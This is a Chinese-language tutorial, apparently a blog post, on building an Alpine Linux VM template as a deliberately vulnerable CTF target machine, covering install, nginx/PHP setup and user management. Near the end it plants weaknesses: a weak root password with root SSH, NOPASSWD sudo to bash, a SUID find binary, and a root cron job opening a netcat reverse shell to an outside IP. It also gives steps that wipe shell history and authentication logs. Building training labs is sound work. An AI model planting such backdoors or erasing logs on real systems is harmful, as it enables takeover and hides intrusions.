AlpineLinux模板构建
选择 AlpineLinux
Small. Simple. Secure.
Alpine Linux 是一个基于 musl libc 和 busybox 的安全、轻量级的 Linux 发行版。Alpine Linux 以其小巧的体积和高效的性能而闻名。
Alpine Linux 官网
Alpine Linux 官网:https://www.alpinelinux.org/
下载 Virtual 版本镜像,适合虚拟机使用。

模板靶机用户
root:todd
VirtualBox 安装 Alpine Linux
使用 VirtualBox 创建一个新的虚拟机,选择下载的 Alpine Linux 镜像进行安装。
安装完成,使用 root 用户登录,进入 live 安装环境,默认无密码,登录成功后,提示使用 setup-alpine 命令进行初始配置。
过程大多数选项保持默认即可,设置 root 密码 todd。

在提示选择镜像源时,使用 f 参数,让 alpine 自动尝试并选择最快的镜像源。

在安装过程会提示是否添加user,直接回车,使用默认的no,是否安装 openssh,输入 yes,是否允许 root 用户通过 ssh 登录,输入 yes。

磁盘选择列出的磁盘,使用方式选择sys,表示将 Alpine 安装到磁盘上,输入 y,确认写入并继续。

提示重启时,输入 poweroff 关闭虚拟机,移除virtualbox的光驱,更改启动顺序为硬盘启动,重新启动虚拟机。

现在,就可以尝试使用 ssh 远程登录 Alpine Linux 虚拟机了。
解决 VirtualBox 和 VMware 下网卡命名不一致导致的网络不可用问题
说明
本模板通过内核参数 net.ifnames=0 biosdevname=0 强制使用传统的 eth0 网络接口命名,以避免在 VirtualBox、VMware 等不同虚拟化平台之间迁移时因网卡命名差异导致网络不可用的问题。
优点:
- 跨虚拟化平台部署稳定,避免首次启动无网络
- 简化网络配置,适合作为靶机 / 漏洞演示模板
- 单网卡 + DHCP 场景下可预测性更高
注意事项:
- 该设置不适合多网卡或复杂网络环境
- 不推荐用于生产环境或云主机
- 如需扩展多网卡,请恢复可预测命名或使用 udev/MAC 绑定
解决 Linux 在不同虚拟化平台(VirtualBox / VMware)之间迁移时,因可预测网卡命名机制导致的网络接口命名不一致问题
下面仅尝试在 Alpine Linux 上进行说明,其他发行版未测试。
查看磁盘分区信息,root分区在 /dev/sda3

这个分区名可能会因不同虚拟化平台而变化,使用 blkid 命令查看分区的 UUID,UUID 永远指向同一个分区。

编辑 /etc/update-extlinux.conf,修改 bootloader(锁死 eth0 + 稳定 root 分区)
vi /etc/update-extlinux.conf
找到 default_kernel_opts 行,修改为如下内容:
# default_kernel_opts="quiet rootfstype=ext4"
default_kernel_opts="quiet rootfstype=ext4 net.ifnames=0 biosdevname=0"
文件里已经默认指定了 root 分区为 UUID

应用配置,重启验证
update-extlinux
reboot
验证内核参数
root=UUID=7762e2e9-4b0c-4cf2-a61b-23111b666c5f
net.ifnames=0
biosdevname=0

修改 Alpine Linux ssh默认提示
编辑 /etc/motd 文件,修改 ssh 登录提示信息
vi /etc/motd

效果:


修改开机 tty 控制台提示
IP、hostname 等信息需要动态获取,ubuntu、kali等发行版可以直接在 /etc/issue 里使用变量\4、\n,但是 Alpine Linux 不支持。
Alpine 使用 OpenRC + getty 服务管理 tty 控制台登录。
编辑:
vi /etc/inittab
修改 tty1,参数解释:
-n:表示不进行登录名的提示,直接调用指定的登录程序。-l /usr/local/bin/tty-banner.sh:指定登录程序为/usr/local/bin/tty-banner.sh脚本,而不是默认的登录程序(通常是/sbin/getty)。这个脚本可以自定义登录提示信息。
tty1::respawn:/sbin/getty -n -l /usr/local/bin/tty-banner.sh 38500 tty1
创建 /usr/local/bin/tty-banner.sh 脚本
vi /usr/local/bin/tty-banner.sh
内容如下:
#!/bin/sh
PATH=/usr/sbin:/usr/bin:/sbin:/bin
export PATH
/usr/bin/clear 2>/dev/null || clear
HOST="$(hostname 2>/dev/null || echo unknown)"
IP="$(
/sbin/ip -4 addr show eth0 2>/dev/null \
| /usr/bin/awk '/inet /{print $2}' \
| /usr/bin/cut -d/ -f1
)"
[ -z "$IP" ] && IP="DHCP not ready"
cat <<'EOF'
Welcome to Alpine
. **
* *.
,*
*,
, ,*
., *,
/ *
,* *,
/. .*.
* **
,* ,*
** *.
** **.
,* **
*, ,*
* **
*, .*
*. **
** ,*,
** *, HackMyVM & MazeSec
QQ Group: 321948805
EOF
echo " Hostname : $HOST"
echo " IP Addr : $IP"
exec /bin/login
赋予脚本可执行权限:
chmod +x /usr/local/bin/tty-banner.sh
效果图

流程:
init
└─ getty (respawn)
└─ -l tty-banner.sh
├─ 打印 banner
└─ exec /bin/login
安装 sudo
Alpine Linux 默认没有安装 sudo,可以手动安装。
sudo 包含在 community 仓库中,确保已经启用该仓库,编辑 /etc/apk/repositories 文件,使用腾讯云镜像源:
cat > /etc/apk/repositories <<EOF
https://mirrors.cloud.tencent.com/alpine/v3.24/main
https://mirrors.cloud.tencent.com/alpine/v3.24/community
EOF
更新包索引并安装 sudo:
apk update
apk add sudo
验证安装成功:
sudo -V

安装 nginx + PHP web环境
安装 nginx
apk add nginx
启动并设置为开机自启
rc-service nginx start
rc-update add nginx default
安装 PHP 和 php-fpm
apk add php php-fpm
确认 php-fpm 服务脚本名称:
注:Alpine 版本不同,PHP 版本号可能不同(如 php-fpm83),请根据实际按照的包名调整命令
ls -1 /etc/init.d | grep -E 'php|fpm'
# php-fpm85
启动 php-fpm 并设置为开机自启
rc-service php-fpm85 start
rc-update add php-fpm85 default
配置 PHP‑FPM
备份 /etc/php85/php-fpm.d/www.conf 文件
cp /etc/php85/php-fpm.d/www.conf /etc/php85/php-fpm.d/www.conf.bak
把非注释部分提取并覆盖回原文件
grep -v '^;' /etc/php85/php-fpm.d/www.conf.bak | grep '.' > /etc/php85/php-fpm.d/www.conf
编辑 php-fpm pool 配置,修改 listen 参数为 /var/run/php-fpm.sock
vi /etc/php85/php-fpm.d/www.conf
修改为以下内容(Alpine + Nginx 最佳实践):
[www]
user = nginx
group = nginx
listen = /run/php-fpm85/php-fpm.sock
listen.owner = nginx
listen.group = nginx
listen.mode = 0660
pm = dynamic
pm.max_children = 5
pm.start_servers = 2
pm.min_spare_servers = 1
pm.max_spare_servers = 3
重启 php-fpm85,让 socket 生成
rc-service php-fpm85 restart
验证生成了 php-fpm.sock :
ls -l /run/php-fpm85/php-fpm.sock
配置 Nginx 解析 PHP
创建站点配置:
vi /etc/nginx/http.d/default.conf
内容如下:
server {
listen 80;
server_name _;
root /var/www/html;
index index.php index.html;
location / {
try_files $uri $uri/ =404;
}
location ~ \.php$ {
include fastcgi_params;
fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
fastcgi_pass unix:/run/php-fpm85/php-fpm.sock;
}
}
测试 Nginx 配置:
nginx -t
重载 Nginx:
rc-service nginx reload
权限与目录结构
mkdir -p /var/www/html
chown -R nginx:nginx /var/www/html
chmod -R 755 /var/www/html
mkdir -p /var/log/nginx
chown -R nginx:nginx /var/log/nginx
验证 PHP 是否正常工作
echo "<?php echo 'Hello, MazeSec!'; ?>" > /var/www/html/index.php
补充基础工具环境
安装 curl、socat、bash、vimu、til-linux、shadow(useradd、userdel 等命令)等基础工具
apk add curl socat bash vim util-linux shadow
清理环境
# 清理 /tmp
rm -rf /tmp/*
# 清理 root 家目录临时文件
rm -f /root/.lesshst /root/.viminfo /root/.mysql_history
# Alpine 清 apk 缓存
apk cache clean
rm -rf /var/cache/apk/*
# 清理日志
find /var/log -type f -name "*.log" -exec truncate -s 0 {} \;
find /var/log -type f \( -name "*.gz" -o -name "*.old" \) -delete
# Alpine 没有 journalctl,跳过
# 清除 shell 历史
truncate -s 0 /root/.bash_history
# 清除登录记录
truncate -s 0 /var/log/wtmp /var/log/btmp /var/log/lastlog
# 清除当前 shell 历史(内存里的)
history -c
压缩镜像
# 用零填充空闲空间,便于压缩
dd if=/dev/zero of=/zero bs=1M || true; rm -f /zero
可选基础环境
安装编译环境
# 安装 gcc, make, musl-dev 等编译环境
apk add build-base git
安装 python3、nodejs
apk add python3 nodejs npm
安装 mariadb
apk add mariadb mariadb-client
操作示例
设置主机名
编辑 /etc/hostname 文件,设置主机名
hostname="Maze"
echo "$hostname" > /etc/hostname
cat >/etc/hosts <<EOF
127.0.0.1 localhost
127.0.1.1 $hostname
::1 localhost ip6-localhost ip6-loopback
EOF
hostname -F /etc/hostname
简单设置提示符
创建 /etc/bash/prompt.sh 文件
cat > /etc/bash/prompt.sh <<'EOF'
[ -n "$BASH_VERSION" ] || return 0
if [ "$(id -u)" -eq 0 ]; then
PS1='\[\e[1;31m\]\u\[\e[0m\]@\h:\w# '
else
PS1='\[\e[1;32m\]\u\[\e[0m\]@\h:\w\$ '
fi
EOF
chmod 0644 /etc/bash/prompt.sh
给未来的用户生效:
mkdir -p /etc/skel
cat > /etc/skel/.bashrc <<'EOF'
case "$-" in
*i*) [ -r /etc/bash/prompt.sh ] && . /etc/bash/prompt.sh ;;
esac
EOF
chmod 0644 /etc/skel/.bashrc
创建 /etc/bash/bashrc 文件,/etc/profile.d/00-bashrc.sh会调用这个文件:
cat > /etc/bash/bashrc <<'EOF'
[ -r /etc/bash/prompt.sh ] && . /etc/bash/prompt.sh
EOF
创建移除普通用户
创建普通用户
- -D : 使用默认选项创建用户,不会提示输入额外信息。
- -G : 指定用户所属的附加组,这里将用户添加到 the0n3 组中。
- -s : 指定用户的登录 shell,这里使用 /bin/bash。
- -h : 指定用户的主目录,这里设置为 /home/the0n3。
- -g : 用户描述信息。
addgroup the0n3 adduser -D -G the0n3 -s /bin/bash -h /home/the0n3 the0n3 echo "the0n3:todd" | chpasswd
方便出题,打印创建用户的命令
name='lanyangyang'
pass=$(openssl rand -base64 18)
shell="\nRun:\naddgroup $name\nadduser -D -G $name -s /bin/bash -h /home/$name $name\necho \"$name:$pass\" | chpasswd"
echo -e "$shell"
移除普通用户
# 移除用户及主目录
deluser --remove-home username
移除用户 the0n3 及其主目录:
deluser --remove-home the0n3
安装卸载常用工具包
alpine 使用 apk 包管理器安装常用工具包:
apk add xxx
例如,安装 git、curl、wget:
apk add git curl wget
安装 python3 和 pip:
apk add python3 py3-pip
如果只是需要 flask 服务,可以直接安装 flask 包:
apk add python3 py3-flask
卸载已安装的工具包:
apk del xxx
例如,卸载 git:
apk del git
服务操作
alpine 使用 OpenRC 管理服务。
设置服务开机自启:
rc-update add 服务名 default
取消服务开机自启:
rc-update del 服务名 default
启动服务:
rc-service 服务名 start
停止服务:
rc-service 服务名 stop
查看服务状态:
rc-service 服务名 status
重启服务:
rc-service 服务名 restart
创建自定义服务
创建 OpenRC 服务脚本
cat >/etc/init.d/app <<'EOF'
#!/sbin/openrc-run
name="app"
description="Run app.py as tuf user"
command="/usr/bin/python3"
command_args="/app/app.py"
command_user="tuf:tuf"
command_background="yes"
pidfile="/run/${RC_SVCNAME}.pid"
depend() {
need net
}
EOF
授予执行权限
chmod +x /etc/init.d/app
加入开机自启动并立即启动
rc-update add app default
# rc-service app start
添加 sudo 权限
编辑 /etc/sudoers 文件,或 /etc/sudoers.d/ 目录下创建新文件,以下几种格式:
# 允许用户 the0n3 使用 sudo 执行所有命令需要密码
the0n3 ALL=(ALL) ALL
# 允许用户 the0n3 使用 sudo 执行所有命令且不需要密码
the0n3 ALL=(ALL) NOPASSWD: ALL
# 允许用户 the0n3 使用 sudo 执行特定命令
the0n3 ALL=(ALL) NOPASSWD: /bin/ls, /usr/bin/id
给 the0n3 用户授权 sudo bash 举例:
echo 'the0n3 ALL=(ALL) NOPASSWD: /bin/bash' > /etc/sudoers.d/the0n3
chmod 0440 /etc/sudoers.d/the0n3
设置 SUID 权限
假设我们要创建一个拥有 SUID 权限的 find 命令作为提权点,这允许用户以文件所有者(通常是 root)的权限执行命令。
# 复制二进制文件到常用目录
cp /usr/bin/find /usr/local/bin/find
# 赋予 SUID 权限
chmod u+s /usr/local/bin/find
# 验证 SUID 权限
ls -l /usr/local/bin/find
定时任务
alpine 使用 crond 服务管理定时任务,可以在 /etc/crontabs/ 目录下创建文件名为用户名的脚本文件。
echo '* * * * * root /bin/bash -c "busybox nc 192.168.6.101 4444 -e bash"' > /etc/crontabs/root
痕迹清理
清理 bash 历史记录
# 如果有vim
mkdir -p /etc/vim
echo 'set viminfo=' >> /etc/vim/vimrc
# 清理当前会话历史、历史命令
history -c
rm -rf /root/.ash_history /home/*/.ash_history
rm -rf /root/.bash_history /home/*/.bash_history
rm -rf /root/.viminfo /home/*/.viminfo
ln -s /dev/null /root/.bash_history
ln -s /dev/null /home/*/.bash_history
rm -rf /root/.python_history /home/*/.python_history
# 清理日志
> /var/log/apache2/access.log
> /var/log/apache2/error.log
> /var/log/auth.log
> /var/log/apk.log
> /var/log/syslog
: > /var/log/wtmp
: > /var/log/btmp
> /var/log/messages
# 临时文件(可选)
rm -rf /tmp/* /var/tmp/*
# 靶机 ssh 记录
rm -rf /root/.ssh/known_hosts
rm -rf /home/*/.ssh/known_hosts
清理 apk 缓存
# 清理 apk 缓存
apk cache clean
rm -rf /var/cache/apk/*